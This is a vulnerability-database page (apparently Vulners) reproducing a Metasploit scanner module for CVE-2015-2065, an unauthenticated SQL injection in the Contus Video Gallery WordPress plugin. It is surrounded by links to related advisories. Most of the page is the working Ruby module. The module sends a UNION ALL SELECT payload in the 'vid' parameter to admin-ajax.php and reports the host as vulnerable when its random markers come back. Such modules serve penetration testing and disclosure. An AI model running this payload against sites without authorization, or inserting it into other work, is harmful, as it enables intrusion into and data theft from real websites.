Lucene search
K

WordPress Contus Video Gallery Unauthenticated SQL Injection Scanner

🗓️ 26 Apr 2015 21:54:21Reported by Claudio Viviani, bperryType 
metasploit
 metasploit
🔗 www.rapid7.com👁 23 Views

This module attempts to exploit a UNION-based SQL injection in Contus Video Gallery for WordPress version 2.7 and likely prior

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2015-2065
29 May 201815:50
circl
CNVD
WordPress Plugin Apptha WordPress Video Gallery SQL Injection Vulnerability
26 Feb 201500:00
cnvd
CVE
CVE-2015-2065
24 Feb 201517:00
cve
Cvelist
CVE-2015-2065
24 Feb 201517:00
cvelist
Kaspersky
KLA10491 Multiple vulnerabilities in WordPress plugins
17 Mar 201500:00
kaspersky
NVD
CVE-2015-2065
24 Feb 201517:59
nvd
OpenVAS
WordPress Apptha Video Gallery < 2.8 Blind SQLi Vulnerability
8 Apr 201500:00
openvas
Packet Storm
WordPress Contus Video Gallery Unauthenticated SQL Injection Scanner
1 Sep 202400:00
packetstorm
Patchstack
WordPress Apptha Video Gallery Plugin <= 2.7 - SQL Injection
24 Feb 201500:00
patchstack
Prion
Sql injection
24 Feb 201517:59
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'WordPress Contus Video Gallery Unauthenticated SQL Injection Scanner',
      'Description' => %q{
      This module attempts to exploit a UNION-based SQL injection in Contus Video
      Gallery for Wordpress version 2.7 and likely prior in order if the instance is
      vulnerable.
      },
      'Author'       =>
        [
          'Claudio Viviani', #discovery
          'bperry' #metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2015-2065'],
          [ 'WPVDB', '7793' ]
        ],
      'DisclosureDate' => '2015-02-24'))
  end

  def run_host(ip)
    right_marker = Rex::Text.rand_text_alpha(5)
    left_marker = Rex::Text.rand_text_alpha(5)
    flag = Rex::Text.rand_text_alpha(5)

    vprint_status("Checking host")

    res = send_request_cgi({
      'uri'       => wordpress_url_admin_ajax,
      'vars_get' => {
        'action' => 'rss',
        'type' => 'video',
        'vid' => "-1 UNION ALL SELECT NULL,NULL,CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- "
      }
    })
    unless res && res.body
      vprint_error("Server did not respond in an expected way")
      return
    end

    result = res.body =~ /#{left_marker}#{flag}#{right_marker}/

    if result
      print_good("Vulnerable to unauthenticated SQL injection within Contus Video Gallery 2.7 for Wordpress")
      report_vuln({
        :host  => rhost,
        :port  => rport,
        :proto => 'tcp',
        :name  => "Unauthenticated UNION-based SQL injection in Contus Video Gallery 2.7 for Wordpress",
        :refs  => self.references.select { |ref| ref.ctx_val == "2015-2065" }
      })
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
0.9Low risk
Vulners AI Score0.9
CVSS 27.5
EPSS0.4107
23